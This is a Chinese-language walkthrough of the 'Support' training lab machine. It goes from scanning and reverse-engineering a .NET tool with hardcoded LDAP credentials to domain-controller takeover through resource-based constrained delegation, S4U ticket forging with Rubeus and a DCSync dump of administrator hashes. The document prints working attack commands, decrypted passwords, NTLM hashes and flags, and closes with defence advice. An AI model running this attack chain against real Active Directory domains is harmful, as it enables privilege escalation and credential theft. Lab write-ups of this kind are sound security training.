[Meachines] [Easy] Support AD域+.NET逆向+LDAP信息泄露+RBCD&S4U 权限提升
字数 1614 2025-08-22 12:23:36

AD域渗透实战:从信息收集到RBCD&S4U权限提升

1. 信息收集阶段

1.1 初始扫描

使用Nmap和Masscan进行端口扫描:

ip='10.10.11.174'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
    nmap -Pn -sV -sC -p "$ports" "$ip"
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
  fi
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi

扫描结果:

  • 53/tcp: DNS服务
  • 88/tcp: Kerberos认证
  • 135/tcp: MSRPC
  • 139/tcp: NetBIOS
  • 389/tcp: LDAP
  • 445/tcp: SMB
  • 464/tcp: Kerberos密码更改
  • 593/tcp: RPC over HTTP
  • 636/tcp: LDAPS
  • 3268/tcp: 全局目录LDAP
  • 3269/tcp: 全局目录LDAPS
  • 5985/tcp: WinRM
  • 9389/tcp: AD Web服务

1.2 LDAP信息收集

获取域的基本信息:

ldapsearch -H ldap://10.10.11.174 -x -s base namingcontexts

结果:

namingcontexts: DC=support,DC=htb
namingcontexts: CN=Configuration,DC=support,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=support,DC=htb
namingcontexts: DC=DomainDnsZones,DC=support,DC=htb
namingcontexts: DC=ForestDnsZones,DC=support,DC=htb

1.3 MSRPC枚举

使用rpcdump.py枚举RPC端点:

rpcdump.py 10.10.11.174

关键发现:

  • Netlogon Remote Protocol (MS-NRPC)
  • Security Account Manager (SAM) Remote Protocol (MS-SAMR)
  • Directory Replication Service (DRS) Remote Protocol (MS-DRSR)

1.4 SMB枚举

枚举SMB共享:

echo '10.10.11.174 support.htb'>>/etc/hosts
smbclient -L //10.10.11.174

发现共享目录:

smbclient //10.10.11.174/support-tools
smb: \> recurse on
smb: \> prompt off
smb: \> mget *

下载并解压UserInfo.exe.zip文件。

2. .NET逆向分析

2.1 使用ILSpy反编译

下载并运行ILSpy:

wget https://github.com/icsharpcode/AvaloniaILSpy/releases/download/v7.2rc/Linux.x64.Release.zip
unzip Linux.x64.Release.zip
cd artifacts/linux-arm64
sudo ./ILSpy

分析UserInfo.exe发现硬编码的LDAP凭据:

Username: ldap
LDAP: support.htb
Password: 0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E

2.2 密码解密

使用JavaScript解密密码:

function getPassword() {
  const encPassword = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
  const key = "armando";
  const array = Uint8Array.from(atob(encPassword), c => c.charCodeAt(0));
  const decodedArray = array.map((byte, i) => {
    return (byte ^ key.charCodeAt(i % key.length)) ^ 0xDF;
  });
  return new TextDecoder().decode(decodedArray);
}
console.log("[+] Password:"+getPassword());

解密结果:

[+] Password: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

2.3 验证LDAP密码

使用Hydra验证密码:

hydra -l ldap@support.htb -P pass.txt ldap3://10.10.11.174

3. 初始访问

3.1 使用evil-winrm连接

使用获取的凭据通过WinRM连接:

evil-winrm -u support -p 'Ironside47pleasure40Watchful' -i 10.10.11.174

获取user.txt:

da8dcfcece840413f18204b2cf4f7442

4. 权限提升:RBCD & S4U

4.1 RBCD攻击原理

基于资源的受限委派(RBCD)攻击利用域控制器(DC)和计算机账户的信任关系:

  1. 攻击者添加伪造计算机账户
  2. 配置该计算机账户代表域控制器执行操作
  3. 请求Kerberos票据并模拟高权限用户
  4. 利用Pass-the-Ticket(PtT)技术进行身份验证

4.2 前置条件检查

  1. 检查当前用户组:
whoami /groups

确认属于Authenticated Users组(SID以S-1-5-11开头)

  1. 检查ms-ds-machineaccountquota属性:
Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
  1. 检查对域控制器的写权限:
$TargetComputer = "CN=dc,OU=Domain Controllers,DC=support,DC=htb"
Get-ObjectAcl -Identity $TargetComputer | Where-Object { $_.ActiveDirectoryRights -match 'GenericAll' -or $_.ActiveDirectoryRights -match 'WriteDACL' }

4.3 实施RBCD攻击

  1. 添加新的计算机账户:
. .\Powermad.ps1
New-MachineAccount -MachineAccount "TEMP-COMP01" -Password $(ConvertTo-SecureString 'Whoami123' -AsPlainText -Force)
  1. 配置委派:
Set-ADComputer -Identity "DC" -PrincipalsAllowedToDelegateToAccount "TEMP-COMP01$"
  1. 验证配置:
Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount
Get-DomainComputer DC | select msds-allowedtoactonbehalfofotheridentity

4.4 S4U扩展攻击

  1. 计算计算机账户的NTLM哈希:
.\Rubeus.exe hash /password:Whoami123 /user:TEMP-COMP01$ /domain:support.htb

得到RC4_HMAC: FB60E55F5403AA13B2BCB820A39DA676

  1. 执行S4U扩展:
.\Rubeus.exe s4u /user:TEMP-COMP01$ /rc4:FB60E55F5403AA13B2BCB820A39DA676 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt
  1. 转换票据格式:
base64 -d /tmp/admin.b64 >/tmp/ticket.kirbi
python ticketConverter.py /tmp/ticket.kirbi /tmp/ticket.ccache
  1. 使用票据进行DCSync:
export KRB5CCNAME=/tmp/ticket.ccache
secretsdump.py -no -k dc.support.htb -just-dc-user Administrator

获取管理员NTLM哈希:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::

4.5 获取最终权限

使用管理员哈希通过WinRM连接:

evil-winrm -i 10.10.11.174 -u administrator -H bb06cbc02b39abeddd1335bc30b19e26

获取root.txt:

f72ea159b27288e13699effdc6f7b4bb

5. 关键工具总结

  1. 信息收集:

    • Nmap/Masscan: 端口扫描
    • ldapsearch: LDAP枚举
    • rpcdump.py: RPC端点枚举
  2. 逆向分析:

    • ILSpy: .NET反编译
    • 自定义JavaScript: 密码解密
  3. 横向移动:

    • evil-winrm: WinRM连接
    • PowerView.ps1: AD信息收集
  4. 权限提升:

    • Powermad.ps1: 创建计算机账户
    • Rubeus.exe: Kerberos票据操作
    • secretsdump.py: DCSync攻击

6. 防御建议

  1. 限制ms-ds-machineaccountquota属性值
  2. 监控计算机账户的创建和修改
  3. 限制对域控制器的GenericAll/WriteDACL权限
  4. 启用Kerberos Armoring和SACL审计
  5. 定期检查msDS-AllowedToActOnBehalfOfOtherIdentity属性
AD域渗透实战:从信息收集到RBCD&S4U权限提升 1. 信息收集阶段 1.1 初始扫描 使用Nmap和Masscan进行端口扫描: 扫描结果: 53/tcp: DNS服务 88/tcp: Kerberos认证 135/tcp: MSRPC 139/tcp: NetBIOS 389/tcp: LDAP 445/tcp: SMB 464/tcp: Kerberos密码更改 593/tcp: RPC over HTTP 636/tcp: LDAPS 3268/tcp: 全局目录LDAP 3269/tcp: 全局目录LDAPS 5985/tcp: WinRM 9389/tcp: AD Web服务 1.2 LDAP信息收集 获取域的基本信息: 结果: 1.3 MSRPC枚举 使用rpcdump.py枚举RPC端点: 关键发现: Netlogon Remote Protocol (MS-NRPC) Security Account Manager (SAM) Remote Protocol (MS-SAMR) Directory Replication Service (DRS) Remote Protocol (MS-DRSR) 1.4 SMB枚举 枚举SMB共享: 发现共享目录: 下载并解压UserInfo.exe.zip文件。 2. .NET逆向分析 2.1 使用ILSpy反编译 下载并运行ILSpy: 分析UserInfo.exe发现硬编码的LDAP凭据: 2.2 密码解密 使用JavaScript解密密码: 解密结果: 2.3 验证LDAP密码 使用Hydra验证密码: 3. 初始访问 3.1 使用evil-winrm连接 使用获取的凭据通过WinRM连接: 获取user.txt: 4. 权限提升:RBCD & S4U 4.1 RBCD攻击原理 基于资源的受限委派(RBCD)攻击利用域控制器(DC)和计算机账户的信任关系: 攻击者添加伪造计算机账户 配置该计算机账户代表域控制器执行操作 请求Kerberos票据并模拟高权限用户 利用Pass-the-Ticket(PtT)技术进行身份验证 4.2 前置条件检查 检查当前用户组: 确认属于Authenticated Users组(SID以S-1-5-11开头) 检查ms-ds-machineaccountquota属性: 检查对域控制器的写权限: 4.3 实施RBCD攻击 添加新的计算机账户: 配置委派: 验证配置: 4.4 S4U扩展攻击 计算计算机账户的NTLM哈希: 得到RC4_ HMAC: FB60E55F5403AA13B2BCB820A39DA676 执行S4U扩展: 转换票据格式: 使用票据进行DCSync: 获取管理员NTLM哈希: 4.5 获取最终权限 使用管理员哈希通过WinRM连接: 获取root.txt: 5. 关键工具总结 信息收集 : Nmap/Masscan: 端口扫描 ldapsearch: LDAP枚举 rpcdump.py: RPC端点枚举 逆向分析 : ILSpy: .NET反编译 自定义JavaScript: 密码解密 横向移动 : evil-winrm: WinRM连接 PowerView.ps1: AD信息收集 权限提升 : Powermad.ps1: 创建计算机账户 Rubeus.exe: Kerberos票据操作 secretsdump.py: DCSync攻击 6. 防御建议 限制ms-ds-machineaccountquota属性值 监控计算机账户的创建和修改 限制对域控制器的GenericAll/WriteDACL权限 启用Kerberos Armoring和SACL审计 定期检查msDS-AllowedToActOnBehalfOfOtherIdentity属性